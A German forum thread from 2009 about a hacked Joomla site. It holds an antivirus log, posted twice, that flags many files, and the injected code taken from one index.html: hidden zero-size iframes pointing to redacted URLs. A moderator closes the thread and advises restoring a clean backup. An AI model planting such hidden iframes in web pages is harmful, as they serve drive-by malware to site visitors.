Thema: Seite verteilt viren!!

Hi,

das findest Du ganz einfach raus...

mach Dir eine Liste was Du alles Installiert hast incl. Versionsnummern und schaue nach ob die Versionen alle aktuell sind.

Gruß Dennis

P.S: -> http://projects.joomlates.de/joomla/...ed-joomla.html

ich glaube es nicht ich habe nen Trojaner drinne
Report des Virenscanns

Code:

Beginne mit der Suche in 'C:\Dokumente und Einstellungen\Alex\Desktop\Sicherung thw-ll 08.01.09'
C:\Dokumente und Einstellungen\Alex\Desktop\Sicherung thw-ll 08.01.09\administrator\components\com_joomlapack\backup\site-www.xxxxxxxxxxxxx-20081228-221612.zip
    [0] Archivtyp: ZIP
    --> templates/css/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> templates/thw.de/index.php
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> templates/thw.de/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/index.php
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/bbcode.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/Standard/bbcode.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/Standard/forumhelp.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/Standard/img/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/codebox/bbcode.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/codebox/forumhelp.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/codebox/img/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/downloads/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/veranstaltungen/veranstaltungen 2007/besichtigung ewl/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/veranstaltungen/veranstaltungen 2007/ruetenfest/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/veranstaltungen/veranstaltungen 2007/utting/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/uebungen/uebungen 2007/groￃﾟuebung/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/uebungen/uebungen 2007/Ideelle Spezialisierung/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/uebungen/uebungen 2007/brannenburg/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/grundausbildung/grundausbildung06/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    [HINWEIS]   Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '49d8a8ec.qua' verschoben!


Ende des Suchlaufs: Mittwoch, 7. Januar 2009  14:06
Benötigte Zeit: 02:41 Minute(n)

Der Suchlauf wurde vollständig durchgeführt.

Zitat von TheOnlyOne

ich glaube es nicht ich habe nen Trojaner drinne
Report des Virenscanns

Code:

Beginne mit der Suche in 'C:\Dokumente und Einstellungen\Alex\Desktop\Sicherung thw-ll 08.01.09'
C:\Dokumente und Einstellungen\Alex\Desktop\Sicherung thw-ll 08.01.09\administrator\components\com_joomlapack\backup\site-www.xxxxxxxxxxxxx-20081228-221612.zip
    [0] Archivtyp: ZIP
    --> templates/css/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> templates/thw.de/index.php
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> templates/thw.de/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/index.php
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/bbcode.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/Standard/bbcode.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/Standard/forumhelp.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/Standard/img/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/codebox/bbcode.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/codebox/forumhelp.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/themes/codebox/img/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> portal/downloads/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/veranstaltungen/veranstaltungen 2007/besichtigung ewl/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/veranstaltungen/veranstaltungen 2007/ruetenfest/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/veranstaltungen/veranstaltungen 2007/utting/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/uebungen/uebungen 2007/groￃﾟuebung/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/uebungen/uebungen 2007/Ideelle Spezialisierung/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/uebungen/uebungen 2007/brannenburg/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    --> images/stories/grundausbildung/grundausbildung06/index.html
      [FUND]      Enthält Erkennungsmuster des HTML-Scriptvirus HTML/Crypted.Gen
    [HINWEIS]   Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '49d8a8ec.qua' verschoben!


Ende des Suchlaufs: Mittwoch, 7. Januar 2009  14:06
Benötigte Zeit: 02:41 Minute(n)

Der Suchlauf wurde vollständig durchgeführt.

und das ich der hack dazu:

<html><body bgcolor="#FFFFFF"></body></html><iframe src="http://xxxxxxxxxxxxxxx" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://xxxxxxxxxxxx" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http:/xxxxxxxxxxx" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

aus einer index.html raus

Nachdem er sich in den index.html dateien im storie ordner nieder gelassen hab und ich den damals einfach mitkopiert habe ohne zu prüfen ich depp ist das der schwachpunkt

@TheOnlyOne

ich hab geschrieben mehrmals, KEINE Urls usw.. auch ip nicht von kompromierenden seiten hacker usw.. drum jetz closed der Thread.

PS. es bleibt dir nur NEU machen deine seite oder ein Backup einspielen welches noch heile war und das am besten local und updaten auf neueste versionen und dann erst online bringen.